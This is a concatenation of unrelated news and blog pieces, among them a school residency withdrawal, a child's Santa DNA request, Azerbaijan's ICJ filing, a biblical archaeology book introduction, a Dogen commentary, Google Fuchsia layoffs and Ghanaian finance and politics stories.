In December, another set of letters was sent to parents of students who have ineligible residency or whose addresses are out of the attendance zone and to parents who still need to submit the required documents.

By January 10, a final letter was issued. The next day, students were withdrawn.

Out of the 350 students, the school district stated that 150 did not meet the required residency address, while the other 200 never provided the required documents.

Read also: Overcrowding Public School Buses Angers Concerned Parents

Parents were furious

The school district reminded parents that it is their responsibility to enroll their students in the school under their attendance zone, where they primarily reside.

Almost a dozen parents whose children were withdrawn complained to Fox 5 about the current situation.

They emphasized that they had provided all the correct requirements, yet their kids were still removed. Thus, they are instructing the school district to make corrections.

Further, they argue that the verification process was "flawed" and declared that when they tried to reach out to the school district regarding their paperwork before the deadline, no one gave their assistance.

One parent was concerned about what continuities are put in place by the school district for those students who were withdrawn, especially those who haven't enrolled in other schools yet and are missing class.

Parents also reported to Fox 5 that when they were demanding answers at the district headquarters, they were told to leave and threatened to be arrested.

The students who did not know they were removed from the school felt emotional when they attended class. Some said they were shocked when they were told they were not part of the school anymore, and some were embarrassed when their names weren't mentioned in the roll call.

Related Article: Commuting vs Proximity: Children Snubbing Local Schools For 'Better' Education
Photo: (Photo : Pexel/Andrea Piacquadio)

A police department received a letter from a young girl requesting a DNA test on a half-eaten cookie and carrots left during the holidays for Santa Claus.

Authorities in the Cumberland Police Department in Rhode Island are currently investigating whether Santa and his nine reindeer exist after a young girl submitted evidence that Santa visited her on Christmas eve, People reported.

It was the cutest request the police department had ever received for help.

"Dear Cumberland Police Department, I took a sample of a cookie and carrots that I left for Santa and the raindeer on Christmas Eve and was wondering if you could take a sample of DNA and see if Santa is real?" the young girl's handwritten letter read.

Police department was so game

And the police officers' response to the little girl's request is heartwarming.

The Cumberland Police Department took to Facebook and posted a press release stating, "Special Investigation into Confirmation of Santa Claus," along with photos of the letter, the pieces of evidence - a half-eaten Oreo cookie and leftover carrots placed inside individual zip locks, a copy of the DNA test request and receipt, and, hilariously, a security camera photo of a deer with antlers, which they say was "uncovered evidence" that Santa indeed came by on the little girl's neighborhood on December 24, 2022.

(Photo: Facebook)

The press release dated January 20, 2023, further stated that Chief Matthew J. Benson, Ed.D., has already instructed the Investigative Division to forward the evidence to the State of Rhode Island's Department of Health-Forensic Sciences Unit for analysis.

Chief Benson was quoted in the press release saying that the young girl had a "keen sense for truth and the investigative process" and did a great job packaging her evidence. The department committed to doing its "very best" to provide her answers.

Read also: Viral Video: Hilarious kid will not get married nor kiss a girl

Facebook community delighted

The Facebook post has been shared over 850 times and has 1,400 likes and 268 comments.

One comment is from Allyson Doumato, presumed to be the mother of the young investigator, who expressed her "giant thank you" to Chief Benson and the team, saying that "her Scarlett" is sure to be thrilled that they are looking into her case.

Facebook people are having a feast on the post, with some sharing delighted comments and compliments on how kind and adorable the police department has responded to the young detective's request.

One woman thanked the police officer for "keeping the magic alive" following her request to make sure they are updated, New York Post reported.

Another said it was the "best thing" they had ever seen and expressed their trust in the authorities, saying they were sure they could get to the bottom of the investigation.

Another commenter thanked Chief Benson for "going above & beyond to keep the magic of Christmas alive," also saying that the world needs more heartwarming stories like this.

The Cumberland Police Department ended its press release with an instruction to stay tuned, and for sure, a lot will be awaiting the results of this special investigation.

Related Article: Is Santa Real: What to Do When the Child Finds out the Truth About Santa?
By Azernews

Sabina Mammadli

Azerbaijan filed its memorial, based on thousands of pages of evidence, documenting almost 30-year-long injustices, against Armenia with the International Court of Justice (ICJ) on January 23, Azernews reports per Foreign Ministry.

According to the ministry, the memorial, which proves detailed information about Azerbaijanis killed, displaced, and harmed by Armenia, based on ethnic and national origins, represents a major development in Azerbaijans international legal proceedings against Armenia under the International Convention on the Elimination of All Forms of Racial Discrimination.

The ministry noted that Azerbaijan urged the court to declare Armenia as responsible for wholesale violations of the human rights of Azerbaijanis, for ethnic cleansing, including through unlawful killing, torture, destruction, and dispossession; cultural erasure; the promotion of hatred against Azerbaijanis; failure to promote tolerance of Azerbaijanis among the Armenian population; and state sponsorship of armed hate groups in Armenia.

Further, the ministry highlighted that Armenias invasion and illegal occupation of territories internationally recognized as part of Azerbaijan were accompanied by a conscious and deliberate policy of ethnic cleansing.

This practice, which continued until 2020, aimed to create an ethnically pure Armenian settlement on Azerbaijans territory through destruction, looting, and exploitation of Azerbaijani districts. After liberating its territories in 2020, Azerbaijan has undertaken an enormous evidence-collection exercise in the liberated territories. The scale of Armenias destruction of hundreds of thousands of lives, countless families and communities, irreplaceable cultural heritage, and the environment is truly shocking, the message stated.

Moreover, it was emphasized that this policy of ethnic discrimination has prevented all Azerbaijani citizens to return to their homes in the Karabakh region for almost thirty years and to this day, hundreds of thousands of Azerbaijani IDPs still cannot return to their former homes.

Entire towns, such as Fuzuli, Aghdam, Jabrayil, Gubadl?, Zangilan, and Kalbajar were destroyed as part of Armenias occupation and `scorched earth' policy when it retreated from the then-occupied territories following the war in 2020. Some 95% of all buildings located in Azerbaijans Karabakh region were razed to the ground since Armenias occupation in 1991, the ministry noted.

The ministry stressed that Armenias reprehensible targeting of civilian homes and settlements with explosives and landmines, as a result of which 282 Azerbaijanis either died or were severely wounded, is part of this discriminatory policy.

Landmines are critical elements and painful legacy of Armenias campaign to prevent the return of displaced Azerbaijanis, the ministry added.
This service applies to you if your subscription has not yet expired on our old site. You will have continued access until your subscription expires; then you will need to purchase an ongoing subscription through our new system. Please contact the Parsons Sun office at (620) 421-2000 if you have any questions
+ Near Eastern Archaeological Periods and Timeline of the Patriarchs

[click on the cover to see a much larger image]

[to be published by Catholic Answers Press on March 20, 2023; 320 pages]

[pre-order from Amazon ($21.95 for the paperback) ]

Introduction

What we may call biblical archaeology flourished from the 1930s to the 1950s, under the leadership of the great Methodist archaeologist and polymath William Foxwell Albright (18911971) and Jewish archaeologist and rabbi Nelson Glueck (19001971). In his 1959 book, Rivers in the Desert, Glueck summed up his and Albrights high view of the Bible and their belief that archaeology strongly supports it:

It may be stated categorically that no archaeological discovery has ever controverted a biblical reference. Scores of archaeological findings have been made that confirm, in clear outline or exact detail, historical statements in the Bible. By the same token, proper evaluation of biblical descriptions has often led to amazing discoveries. (1)

This is roughly what is now called a biblical maximalist position within archaeology. Arguably, todays most prominent maximalists are Scottish evangelical Protestant Egyptologist and archaeologist Kenneth A. Kitchen (b. 1932) and American archaeologist James K. Hoffmeier (b. 1951). Kitchen, though a firm defender of the historicity of the biblical accounts (and in that sense a traditionalist), doesnt, however, uncritically accept the overall outlook or (especially) the methodology of Albright and his cohorts, like G. Ernest Wright (19091974) and Cyrus Gordon (1908 2001). He rather bluntly made this clear:

The treatments given here by me are not based on Albright, Gordon, or the vagaries of the little local (and very parochial) United States problem of the long-deceased American Biblical Archaeology/Theology school. (2)

Biblical minimalism, on the other hand, has dominated the archaeology of Israel and the Near East since the 1970s. Prominent minimalist Thomas L. Thompson, professor of theology at the University of Copenhagen from 1993 to 2009, made this grandiose proclamation:

The results of my own investigations, if they are for the most part acceptable, seem sufficient to require a complete reappraisal of the current position on the historical character of the patriarchal narratives. (3)

I want to deal with specific objective matters in relation to the text of the Bible that can be addressed by archaeology or other forms of science, starting with premises (for the most part) that Christians and non-Christians accept in common. Im not trying to prove biblical inspiration. Thats a much more involved and complex argument. What Im doing is defeating the defeaters offered up by biblical skeptics, anti-theist atheists (who specialize in and constantly focus on criticizing the Bible, Christians, Christianity), and archaeological minimalists.

If they argue, for example, that a particular city wasnt in existence when the Bible says it was, then, in response, I seek archaeological data to prove or at least offer strong evidential support for the biblical view. This approach defends the Bibles accuracy.

Skeptical arguments against biblical accuracy are often incorrect and fallacious. In other words, if a skeptic contends, The Bible is inaccurate history and therefore clearly not inspired because of errors a, b, c, d, e, and f, I will argue via secular sciencemost often, but not exclusively, archaeologythat supposed errors a, b, c, d, e, and f are actually not errors and can almost always be resolved in a way that is consistent with belief in biblical inspiration. If the Bible is inspired, then it should be historically accurate and not self-contradictory. It becomes, to put it another way, a strong cumulative argument.

This book deals with objective, historical issues that we can analyze through the means of scientific (mostly archaeological) analysis. Its what Christians are often asked to do: give solid evidence for what we believe.

The format throughout the chapters is simple:

1) Present the material to be considered. 2) Summarize how Bible skeptics, archaeological minimalists, or anti-theist atheists question and cast doubt upon this material. 3) Refute the skeptical concerns and give a positive case for the biblical data from secular research.

Lastly, I must add a clarifying note regarding miracles and the supernatural, a common theme in the Bible and in this book. In many of my chapters, I speculate about possible natural causes for events that Christians usually regard as purely miraculous. In doing so, Im not being theologically liberal or hostile to the possibility of miracles. I fully believe in themthat they happened and that they still happen today.

God can and does do whatever he wants, and the process of salvation is supernatural. Moreover, many biblical events can hardly not be miraculous, such as the killing of the Egyptian firstborn, the raising of the dead, walking on water and through walls, and Balaams talking donkey, not to mention transubstantiation, the Incarnation, the Virgin Birth, the atonement, Jesus resurrection and ascension, and other directly theological miracles.

On the other hand, as a clear example of Gods using non-miraculous means to accomplish his ends, we see that when he decided to judge his chosen people, he used the Assyrians to conquer the northern kingdom of Israel, in about 722720 B.C. (Ezek. 23:110), and the Babylonians, led by Nebuchadnezzar, to conquer the southern kingdom of Judah (including the destruction of the Temple) in 586 B.C. (vv. 1134). Then, not long afterward, God used the Persian king Cyrus to help the exiled Jews return to Jerusalem and rebuild their temple (2 Chron. 36:23; Ezra 6:35; Isa. 45:16,13). None of this was miraculous, but it was all in the service of Gods expressly stated will.

Standard Christian understanding of Gods sovereignty holds that Gods providence is large and complex enough to include natural events and extraordinary timing (as a function of his omniscience and being outside time) for the accomplishment of his purposes.

For example, a meteorthat God utilized for judgmentmay have destroyed Sodom. If that was indeed the case, God knew that a meteor would be approaching soon and used the natural event in conjunction with his warning about the judgment. It was still his will to judge for sin. How he did it is a separate question.

Other times, it may be a mixture of the natural and miraculous. In these cases, I throw out interesting possibilities or theories, not necessarily taking a position. I never claim that things must have been the way I suggest.

As another example, lets consider the incident of God providing quails for the wandering Hebrews to eat in the desert. As always, God could have worked through outright miracles if he so chose (he could have created a million quails on the spot and sent them down to the complaining Hebrews), or he could have marvelously arranged in his providence for lots of quails to appear right at the time when he said they would appear. Both are entirely in his capability, and each is an extraordinary event, showing his power (omnipotence) and his omniscience and sovereignty over nature. He knew from all eternity that the ancient Israelites would complain in the wilderness about not having meat (longing for their wonderful time of slavery in Egypt), and he knew (if the natural explanation is what actually happened) that quail would migrate across their path at precisely the time this murmuring came about.

Im not opting for any of these scenarios. Im simply saying that it is entirely possible (and no less glorying to God) that a natural explanation (that can be explored through our knowledge of bird migration) could account for the abundance of quail. If that is the case, the inspired, infallible Bible would again be accurate in reporting what happened (as it always is).

A theologically liberal or skeptical mentality does exist, whereby every miracle in the Bible is explained away by natural processes because of disbelief in all miracles from the outset. I detest that, and its not at all my own position. Rather, mine is a view that fully accepts the possibility and factuality of actual divine, supernatural miracles, while at the same time recognizing that Gods omniscience and omnipotence, providence and sovereignty are such that he can and does also incorporate natural events into his divine plans for the human race and the accomplishment of his will.

Near Eastern Archaeological Periods

Bronze Age (3300 B.C.1200 B.C.):

Early Bronze Age I 3300 B.C.3000 B.C.

Early Bronze Age II 3000 B.C.2700 B.C.

Early Bronze Age III 2700 B.C.2200 B.C.

Early Bronze Age IV 2200 B.C.2000 B.C.

Middle Bronze Age I 2000 B.C.1750 B.C.

Middle Bronze Age II 1750 B.C.1650 B.C.

Middle Bronze Age III 1650 B.C.1550 B.C.

Late Bronze Age I 1550 B.C.1400 B.C.

Late Bronze Age IIA 1400 B.C.1300 B.C.

Late Bronze Age IIB 1300 B.C.1200 B.C.

Iron Age (1200 B.C.586 B.C.):

Iron Age I A 1200 B.C.1150 B.C.

Iron Age I B 1150 B.C.1000 B.C.

Iron Age II A 1000 B.C.900 B.C.

Iron Age II B 900 B.C.700 B.C.

Iron Age II C 700 B.C.586 B.C.

Timeline of the Patriarchs

Following the scholarly maximalist timeline of Kenneth

Kitchen and others (none fundamentalists) who regard

the Bible as historically accurate, here are the approximate

dates of early biblical figures and patriarchs and events. I

will be provisionally utilizing these dates in my treatment

of these figures and events in this book. (4)

Noah and the Floodc. 2900 B.C.

Patriarchsc. 19001600 B.C.

(20001500 at the outermost limits)

Abrahamborn c. 18801860 B.C.

Isaacborn c. 18501820 B.C.

Jacobborn c. 1775 B.C.

Josephborn c. 17371717 B.C. The Bible states that he

was seventeen when sold into slavery (Gen. 37:2).

Mosesc. 1340 or 1330c. 1220 or 1210 B.C.,

extrapolating from Kitchens date for the Exodus

Exodus from Egyptc. 12601250 B.C.

Israeli Conquest of Canaanc. 1220 or 1210c.

1170 or 1160 B.C.

FOOTNOTES

1 Nelson Glueck, Rivers in the Desert (New York: Farrar Strauss and Cudahy, 1959), 31.

2 Kenneth A. Kitchen, On the Reliability of the Old Testament (Grand Rapids and Cambridge: Wm. B. Eerdmans Publishing, 2003), 469.

3 Thomas L. Thompson, The Historicity of the Patriarchal Narratives (Harrisburg, PA: Trinity Press International, 2002), 2.

4 The dates in this timeline are drawn from Kenneth A. Kitchen, On the Reliability of the Old Testament.

***

Summary: Introduction to Catholic apologist Dave Armstrongs volume: The Word Set in Stone: How Archaeology, Science, and History Back up the Bible (Catholic Answers Press).
The short passage that Im sharing today comes from Dogens Extensive Record ( Eihei koroku ), V8.14, like the recent post, Dogen: Find a Good Teacher, Ask For a Koan, Break Through.

Intended for householders, this snippet is a powerful summary of the Zen path. Ill first share my translation, then highlight a few elements of the passage.

Translation

Vigorous people who study and practice Zen: You absolutely must meet a dharma teacher who, through right view, embodies the Way. Then stay close and serve them for three-five years. Ask for their instructions for body, speech, and mind; carefully, precisely follow their instructions for body, speech, and mind. First, awaken withered tree, dead ash. Next, use a bamboo staff and all day long, month after month, knock it all into one. Round and smooth like a pearl rolling without exhausting the limits. How would one not become a true buddha lion?!

Click here to support my Zen teaching practice at Patreon of which translations and writings like this are one facet. You will also find an advertisement free version of this post there too.

Highlights

First, it is notable that Dogen encourages householders to work closely with a teacher and that he seems confident folks in this lifestyle can become true buddha lions. No small thing.

Second, it isnt just about meeting a teacher, but staying close and serving them. Nowadays, with the commodification of the most things, including the buddhadharma (and the teacher-student relationship), this really stands out. Many people now regard a Zen teacher less like someone they serve and more like an employee whose job duties include making life easier, or more meaningful, or somehow more special for the student. An all too common attitude is, Hey, I pay my money, now your job is to confirm my delusions and selfishness.

Dogens time range for this work of meeting, serving and awakening is three-five years. This strikes me as a low bar  it takes longer than that for most people and it certainly did for me. Dogen, though, was with his main teacher, Rujing, for about that long, so maybe thats his frame of reference. Perhaps three-five years is fitting for the very best horses who run even at the shadow of the whip.

But the most curious point here, I think, is that Dogen is writing a dharma discourse (and then reading it, apparently) to his major patron and the patrons friends who are all householders with really demanding day jobs. Earlier in this dharma discourse, he refers to his audience as ministers and generals. Are ministers and generals going become monks, or at least physically stay close with Dogen at Koshoji or Eiheiji for three-five years?

Maybe some will, but if Dogens prescription is aimed at a householder audience, then stay close and serve them might have some other meaning. Perhaps hes saying be as close as you can. But that feels like a dodge.

Perhaps hes referring to the closeness and service that comes from following through with the prescribed practices of body, speech, and mind  seeing with the same eyes, hearing with the same ears  whether we are in the same building with our teacher or not. If that was Dogens intent, then our present model of online training certainly also allows for stay close and serve them.

Third, earlier in this discourse, Dogen recommended that students first find a teacher, then ask for a koan. Here Dogen repeats the admonition to find a teacher and offers an example of a keyword from a koan, withered tree, dead ash, as if this is what he offers students.

With withered tree, dead ash, Dogen seems to be employing a saying of Shishuang Qingzhu (807-888). Shishuang was a third generation successor of Shitou Xiqian (700-790), who once said, Stop; rest; one nen , ten-thousand years; become cold ash, withered tree; practice going as one strip of white.

This phrase is also included in an important koan we now deal with deep into the Harada Yasutani shitsunai , in Record of Going Easy , Case 96: Jiufeng Does Not Agree.

Dogen, as you may have noticed, switches the order of the tree and the ash, and rather than cold ash has dead ash. What can I say? He was one helluva quirky guy who seems to flown along depending on his incredible memory.

Other examples like this come to me from Daido Loori Roshi. When he was translating The True Dharma Eye , he confided that Dogens koans had regular, small differences from any of the original sources for the koans that we have today. Some of the changes seemed to have significance and intention, others, not so much  more like memory blips. The case of cold ash or dead ash seems to fall in the latter category.

Another possibility is that Dogen is thinking about another koan. But for keyword practice, it really doesnt matter. Just awaken withered tree, dead ash.'

Shishuangs saying, including the snippet withered tree, dead ash, is sometimes regarded as an expression of deep absorption (aka, samadhi), the one color gained through completely surrendering to the form of zazen. By the way, withered trees is also the name given some ascetics who sat in meditation, never lying down, like petrified rocks and withered trees.

Dogen, though, urges his listeners to awaken withered tree, dead ash.' So rather than a one-chopstick dharma of absorption, Dogen teaches the same wisdom-absorption (prajna-samadhi) that Hongzhi Zhengjue (10911157) and Wansong Xingxiu (11661246) present in Record of Going Easy , Case 96: Jiufeng Does Not Agree. It is also in accord with the Sixth Ancestors statement in the Platform Sutra , The words samadhi and prajna are different, but samadhi and prajna are one essence and are not two (trans. Alan Gregory Wonderwheel).

Dogen continues, Next, use a bamboo staff (Japanese, shippei ) and all day long, month after month, knock it all into one. Next here is important. First, awaken, then next comes the post awakening practice of integrating that awakening through the nitty-gritty details of daily life.

The shippei , by the way, is about three feet in length with a slight bow. It is made from bamboo splints and wrapped together with wisteria  entangling vines, one might say. In modern times, it is the staff used by the head monk to knock the floor when they meet students for dharma encounter.
What, exactly, does Google want to do with Fuchsia? The answer isnt any clearer now than when news broke about the Google-created operating system seven years ago. But after a recent round of Google layoffs, the project may be in peril in a way that long-standing products like Android and Chrome OS are not. The recent reduction in headcount has hit the internal project particularly hard, leaving its future more in question than ever.

According to a report by the New York Times, 16 percent of the 400-strong Fuchsia team is getting the axe. Thats a pretty huge cut for any workforce, but Fuchsia is particularly hard-hit. As Ars Technica notes, the cut to the development team is more than double the company-wide cut of six percent. With dozens of employees gone or soon to be, its hard to imagine that Fuchsia will continue with its current steamif it has any to begin with.

If youre wondering what Fuschia OS is, youre not alone  possibly not even within the halls of Google itself. On paper, Fuschia could be almost anything. Its an open-source operating system, a la Chrome or Android, but built on a custom kernel, not an existing codebase like Linux or Unix. In its nebulous state it could be applied to smartphones, tablets, laptops, or all three. The operating system is more than capable of running modern apps and browsers, and speculation has been that it could be a combined next-gen OS meant to unify Googles consumer-focused offerings. But if Fuchsia is the future of Google software, it doesnt seem like the company is in any rush to get there.

Google has released versions of Fuchsia that can run on its own Pixel-branded Chromebooks (which themselves are now few and far between), but to date the only hardware that officially runs Fuchsia in a released state is the Google Nest Hub smart home line. The Fuchsia update replicated the previous software, which was similar to the Chromecast, with no notable user-facing changes or feature additions.

What does the future hold for Fuchsia? At this point things dont look that bright. Google has earned, if not exactly cultivated, a reputation for starting and abandoning projects. With Android and Chrome doing fine (though not exactly conquering the world like they were a few years ago), Fuchsia would seem to be an obvious target for cost-cutting efforts. That hasnt happened yet, though chopping off a significant percentage of the development team is an ominous sign.
Ghana Cocoa Board (COCOBOD) has defaulted on payments of its matured 182-day bill for the first time, rolling over outstanding securities of GH940.4million, albeit without investors consent.



The development led to confusion and concern for investors expecting payments to be made on these securities. According to market information, the outstanding payments were made to investors who were credited but later had the credit reversed and automatically rolled over without their consent.



This sudden default has raised many questions among investors, as they now have to decide whether to sell their securities to willing investors or seek legal redress.



Fred Duvor, Managing Director (MD) of Apakan Securities, said in an interview with the B&FT that COCOBOD has an obligation to buyers of the cocoa bills, which were for a fixed tenure, but they seem to have altered the terms without the consent of the clients. This move has left many clients feeling frustrated and uncertain about their investments.



Also, the MD of Apakan Securities stated that this default is a major blow to investor confidence in the capital markets. He said: It is really not a good one, and it is quite strange that COCOBOD will also be caught in this kind of situation because we know that the cocoa board receivables are tied to cocoa. So, I struggle to understand why the current woes of the government should affect COCOBOD.



He also pointed out that this default may lead to investors shying away from Treasury bills, as they will now be on the edge, and may not be willing to buy Treasury bills which have been exempted from the domestic debt exchange programme.



Introduced in 2002 as an added layer of investment options to the public and a means of easing the cyclical pressure on the cedi, the cocoa bills have been a mainstay of the domestic capital market  particularly the 182-day variant. They have recorded handsome patronage on account of the strength of its underlying asset  cocoa.



The Ghana Cocoa Board is a government-owned entity that is responsible for regulation and development of the cocoa industry in Ghana. The country is the second-largest producer of cocoa in the world, and the industry is a major contributor to the countrys economy. The default on the 182-day bill is a significant blow to the industry, and it is not yet clear how government plans to address the situation.



The development is bound to raise significant concerns among investors about COCOBODs ability to redeem upcoming obligations, in light of projections by the International Cocoa Organisation (ICCO) about cocoa prices dipping in 2023.



ICCOs forecast is based on a sharp rise in the net short positions of commercial traders in Europe and the United States over the 2020/21 to 2022/23 seasons, a development it attributes to demand for insurance against price drops.



This default also comes at a time when government is undertaking a domestic debt exchange programme amid massive resistance from investors although it has been taking measures to address issues raised, but the default on the 182-day bill is a major setback.



The Ghana Cocoa Board has yet to make an official statement on the matter, and it is not yet clear what steps it will take to address the situation. The default on the 182-day bill is a serious matter, and it is important that government and the cocoa board take immediate action to address the situation and restore investor confidence in the capital markets as the future of the Ghanaian economy, and the cocoa industry, depend on it.



Commenting on the issue, Edem Nick Kporku  Investment Analyst with Constant Capital, mentioned that this default will definitely have a ripple effect on the economy of Ghana, as many investors will be scared to invest in the future.



We are looking at the cash flow problem  especially if youre expecting the money to come to you and then nothing comes through and institutions may have had plans on how to use the funds when the maturities hit their accounts.



Take for example some asset managers who may be in a liquidity crunch and may not be able to sell government securities at this time to pay out investor withdrawals from their mutual funds positions. This would lead to a liquidity problem for them, the Investment Analyst said.



It is vital that government takes immediate action to restore the confidence of investors and ensure that the cocoa industry in Ghana is not affected. It is also important that COCOBOD takes steps to ensure that this does not happen again in the future and that they communicate effectively with investors to ensure their investments are protected.

Source: B&FT









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About 40 students of Krobea Asante Technical and Vocational School at Asante Asokore in the Sekyere East District of the Ashanti Region have been arrested by the police.



The students, according to reports, were arrested after they vandalized school properties over poor results recorded by their predecessors.



Speaking to OTEC News' Jacob Agyenim Boateng, an assembly member for Effiduase South Electoral Area who doubles as the coordinator for Free SHS in the District, Hon. Ebenezer Opoku said the unfortunate incident occurred on Sunday, January 22, 2023.



"A total of six cars have been destroyed by the students including four vehicles belonging to the school and two private vehicles belonging to teachers



"Properties amounting to millions of cedis have been destroyed, bagalow for senior house mistress, her car, school's notice board, stores and food stored there have all been vandalised," he said.



"It took the security doors to save the principal's room from destruction, but the dinning hall was not exempted from the chaos.



"Most of the things they destroyed are beyond repairs, including the principal's vehicle which was provided by government," the assembly member added.



Mr Opoku disclosed that the Ashanti Regional Education Director, Dr Annor Ankrah together with the District Director of Education for Sekyere East Mr William Agyapong have visited the school to access the situation.



He added that calm has been restored at the school by the police.



Watch pictures from the scene of the attack below:













































Source: ghanaweb.com









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The Auditor-General, Johnson Akuamoah Asiedu, has directed that the Information Ministry refunds some 151,500 to its own management and staff without approval.



This was revealed in Mr Asiedus audit of Covid-19 transactions for the period March 2020 to June 2022.



The development reportedly ensued in 2020 during the lockdown at the height of the coronavirus pandemic in Ghana.



During our review, we noted that senior management staff and other supporting staff of the Ministry of Information paid themselves a total amount of GH151,500.00 as COVID-19 risk allowance for coming to work during the lockdown, the report stated.



President Akufo-Addo at the time had announced some incentives for frontline health workers including insurance and tax exemptions for doing their best to curb the virus spread.



As of now, some of the healthcare workers are reportedly yet to receive their share of the stipends.



The latest report is questioning the basis for such a remuneration since it was not sanctioned by the Chief of Staff.



According to the document, the deed goes contrary to the above Presidential directives and without approval from the Office of Chief of Staff.



The Auditor-General has recommended that the amount be recovered from the beneficiary staff and paid into the Auditor-Generals Recoveries account.



DISCLAIMER: The Views, Comments, Opinions, Contributions and Statements made by Readers and Contributors on this platform do not necessarily represent the views or policy of Multimedia Group Limited.

Source: Myjoyonline.com









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President Muhammadu Buhari, Monday in Bauchi, restated that he had served Nigeria and Nigerians to the best of his ability, declaring that he had not disappointed anyone.



President Buhari, who was in Bauchi in continuation of the All Progressives Congress (APC) presidential and gubernatorial campaign rallies, spoke during his courtesy call on the Emir of Bauchi, His Royal Highness (Dr) Rilwanu Suleiman Adamu.



The President acknowledged the reception accorded him and the continued show of love by Nigerians, noting that the huge crowd that welcomed him wherever he went was a demonstration of genuine love and loyalty.



He said, I normally call on emirs and chiefs, whether on political or personal tours to states to show my gratitude.



I like to mention that between 2003 and 2011, I visited all the local governments, and in 2019, when I was seeking my re-election for a second term, I visited all the states.



And the people that turned out to see me were more than what anyone could buy or force and there I made a promise and pledge that I will serve Nigeria and Nigerians to the best of my ability.



And so far, I have not disappointed anybody.



Earlier in his welcome address, the Emir of Bauchi remarked that it is delightful when political leaders in modern state system honour the traditional institutions with a courtesy call.



This, the Emir noted, was a practical demonstration of love and respect to traditional institutions.



He thanked President Buhari for the landmark developments which his administration had brought to Bauchi State, declaring that the Kolmani Integrated Project remained a legacy for which Bauchi State and indeed the North-East remained grateful.



We cannot thank you enough and we follow the example of our governor to express our greatest gratitude.



We are also pleased that you have kept your promise of reforming the electoral processes through continuous and progressive reforms and by ensuring the independence of the electoral body, of which our son, Professor Mahmood Yakubu, is the current head, the Emir stated.



Your determination in this and other areas of governance has been an inspiration to all right-thinking people across the country, added the Emir.



The President, thereafter, proceeded to the Abubakar Tafawa Balewa Stadium, in continuation of the APC campaigns where a mammoth crowd awaited him and his entourage.



He then presented the partys presidential flagbearer, Asiwaju Bola Ahmed Tinubu and his Vice, Senator Kashim Shettima, to the electorate.



Present were the Senate President, Dr Ahmad Lawan; Speaker, House of Representatives, Femi Gbajabiamila; the APC National Chairman, Senator Abdullahi Adamu; Governors of Kebbi, Plateau, Borno, Yobe, and Jigawa States.



The APC gubernatorial candidate in Bauchi State, Air Marshal Sadique Baba Abubakar (Rtd) as well as other party stalwarts, were also present.

Source: Vanguardngr









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Daniel Yaw Domelevo, the former Auditor-General has expressed disquiet about the use of state funds on the construction of the National Cathedral.



According to him, since the concept of the project stems from Nana Addo Dankwa Akufo-Addos promise to God for making him president, the funding should be from his coffers not through state funds.



In a Joy News interview, Daniel Domelevo also criticized how the Ministry of Finance used funds from the Contingency Vote to finance portions of the project.



In the wisdom of Domelevo, the practise was illegal and untenable and must be condemned by all.



I find the expenditure for that transaction very unfortunate. At no point should we be using public funds to fund individual peoples needs or desires. If the president desires to build a cathedral for God, he should go ahead and use his money not public funds. Even if he wants to use public funds, the constitution has laid down procedure for the use of public funds especially from the Consolidated Funds. Article 1 states that it must be in the budget approved by Parliament, he said.



The National Cathedral has been fraught in endless controversies with the latest allegation being wrongful payment made to Reverend Kusi Boateng, a member of the cathedrals Board of Trustees.



Samuel Okudzeto Ablakwa, the Member of Parliament for North Tongu is on a crusade to expose what he views as wrongful payment of state funds to certain individuals and organizations concerned with the construction of the Cathedral.



After an initial allegation that a whopping GH2.6 million was dished out to a company named JNS Talent Centre Limited, Ablakwa embarked on a mission to discover the persons behind the company.



Ablakwas investigations into the alleged payment led to the discovery of one Kwabena Adu Gyamfi as a director of JNS Talent Centre.



Having confirmed the identities of two out of three directors of the centre, Ablakwa went on an expedition to discover the identity of the third director, Kwabena Adu Gyamfi.



According to his findings, citing a number of statutory documents, Kwabena Adu Gyamfi is the same as Reverend Kusi Boateng, who has allegedly been operating under the pseudonym Kwabena Adu Gyamfi.



In an explosive set of allegations which he describes as the Tsar Bomba of all scandals, Ablakwa claimed that Reverend Kusi Boateng holds multiple passports and identification cards with some bearing the name Kwabena Adu Gyamfi.



You will recall that in my earlier expose of the scandalous GHS2.6million cash transfer from the National Cathedral Secretariat to JNS Talent Centre Limited, I pointed out that incorporation documents reveal that the three directors of JNS Talent Centre Limited are Johannes Eshun, Sheila Eshun and Kwabena Adu Gyamfi.



I also later revealed that Rev. Johannes Eshun is a branch pastor of National Cathedral Executive Council Member/Director, Rev. Victor Kusi-Boatengs Power Chapel Worldwide.



Hitherto, the third directorMr. Kwabena Adu Gyamfi has remained a mystery figure.



I am now able to reveal the true identity of this mystery director of JNS, Kwabena Adu Gyamfi.



Definitely, the code has finally been cracked and it shocks to the marrow!



Unimpeachable and incontrovertible evidence confirms that Mr. Kwabena Adu Gyamfi is the famous Rev. Victor Kusi Boateng who still serves on the National Cathedral Board as an Executive Council Member/Director.



For the avoidance of doubt, there is no distinct Kwabena Adu Gyamfi. Kwabena Adu Gyamfi is a criminal creation of Rev. Victor Kusi-Boateng. The two are therefore one and the same.



Rev. Victor Kusi-Boateng AKA Kwabena Adu Gyamfi thought he had outwitted every Ghanaian, particularly our authorities whom he dribbled for many years; but the day of reckoning is finally here.



From unassailable and irreproachable documents in my possession, Rev. Victor Kusi-Boateng AKA Kwabena Adu Gyamfi uses multiple passports and multiple identification cards with different names and different dates of birth as his special modus operandi, he wrote on Facebook.









Source: ghanaweb.com









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Member of Parliament(MP) for Ningo Prampram, Sam Nartey George says if John Dramani Mahama is not President after the 2024 elections, it will be better to divide the assets of the country and share them among the citizens.



He is of the view that there will be doom should the New Patriotic Party be given the opportunity to lead the country.



Sam George who was speaking on Accra-based Joy Prime said no patriotic Ghanaian will hazard the thought of John Dramani Mahama not becoming President.



We should share the country among us. You should not say this. If you love this countryEverybody who loves this country should hazard that thought, who Bawumia? Head of Economic Management team to come and run this country, he said.



On who becomes the next flagbearer of the National Democratic Congress (NDC) he said no one in the NDC can beat John Dramani Mahama.



He added that even he as a Member of Parliament will beat John Dramani Mahamas contenders.



The National Democratic Congress (NDC) has opened nominations for persons interested in leading the party in the 2024 election to file their nominations.



The party believes that it stands a high power in taking power from the New Patriotic Party after their shambolic showing in office from 2017 till date.



The opposition has pegged their filing fees at Ghc 500,000; a fee which has been criticized by civil society organizations as being exorbitant.





Source: ghanaweb.com









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Two eminent clergymen and members of the Board of Trustees of the controversial National Cathedral project have called for its immediate suspension and audit.



The two  Archbishop Duncan Williams and Reverend Eastwood Anaba say their call is based on the controversies surrounding the project.



According to them, the suspension will pave the way for transparency and accountability to be provided to the Ghanaian people.



In a memo sent to the Board of Trustees on Monday, January 23, and sighted by MyJoyOnline.com, they called for independent audit into the expenditures of the project.



The two preachers said the auditor(s) must be one that is nationally recognised.



